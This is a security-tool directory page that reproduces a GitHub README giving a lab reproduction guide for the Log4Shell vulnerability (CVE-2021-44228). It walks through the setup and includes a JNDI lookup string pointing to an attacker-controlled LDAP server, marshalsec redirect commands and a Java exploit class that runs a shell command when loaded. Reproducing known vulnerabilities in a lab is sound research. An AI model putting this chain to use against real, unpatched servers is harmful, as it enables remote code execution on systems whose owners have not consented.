Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-44228 — Step-by-step reproduction guide for CVE-2021-44228 (Log4Shell) with JDK 8u20, vulnerable Log4j 2.14.1, marshalsec LDAP server, and custom payload compilation. | Kitploit
Tools/GitHubGitHub/racoon-rac/cve-2021-44228
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentLabs & Practice
GitHubracoon-rac/cve-2021-44228

CVE-2021-44228

Step-by-step reproduction guide for CVE-2021-44228 (Log4Shell) with JDK 8u20, vulnerable Log4j 2.14.1, marshalsec LDAP server, and custom payload compilation.

View Repository
293 years agoNot yet reviewed
Share

CVE-2021-44228

I think this story is more practical (crying)christophetd/log4shell-vulnerable-app

I just researched on a whim out of interest, so there may be vague parts or mistakes.
Please proceed at your own risk.

Create a reproduction environment.

Should work on Linux environments.

1. Download JDK

Starting from jdk8u191, the com.sun.jndi.rmi.object.trustURLCodebase option was added and defaults to false. In this state, it is not possible to load externally prepared classes, so we will use an earlier version.
(Can internal classes be loaded or bypassed??)
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

Direct download of jdk8u20
Extract and place it somewhere like /opt.

2. Prepare a vulnerable log4j

Download log4j
Extract and take out log4j-api-2.14.1.jar and log4j-core-2.14.1.jar (this time I put them in a directory called log4japp).

3. Set the classpath for log4j

export CLASSPATH=:/path/to/log4japp/log4j-api-2.14.1.jar:/path/to/log4japp/log4j-core-2.14.1.jar

4. Create a simple application

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {


        private static final Logger logger = LogManager.getLogger(log4j.class);

        public static void main(String[] args) {
                logger.error("${jndi:ldap://your-ip:1389/resource}");
                // /resource がないと動きませんでした。
        }
}

5. Prepare marshalsec

mbechler/marshalsec
Redirect LDAP queries to the web server.

mvn clean package -DskipTests

Start listening

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-web-ip:8888/#Exploit"

Also prepare the redirect target for marshalsec

python3 -m http.server 8888

6. Prepare the class to be passed to marshalsec

class Exploit {
    static {
        try { Runtime.getRuntime().exec("touch /tmp/evil"); } catch(Exception e) {}
    }
}

Compile using the installed jdk8u20

/opt/java/jdk1.8.0_20/bin/javac Exploit.java

7. Exploit

Compile and execute using the installed jdk8u20.

/opt/java/jdk1.8.0_20/bin/javac log4j.java
/opt/java/jdk1.8.0_20/bin/java log4j

screenshot

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    501
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    467
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    340
  • 4

    opencti

    opencti-platform/opencti

    Open Cyber Threat Intelligence Platform

    314
  • 5

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    307
  • 6

    estorides

    grisuno/estorides

    Aggregates 99+ free OSINT sources in parallel, resolves entities into a knowledge graph, and exports STIX 2.1, MISP, or GraphML with LLM-assisted analysis.

    295

Explore all tools

Browse our collection of tools

View all tools →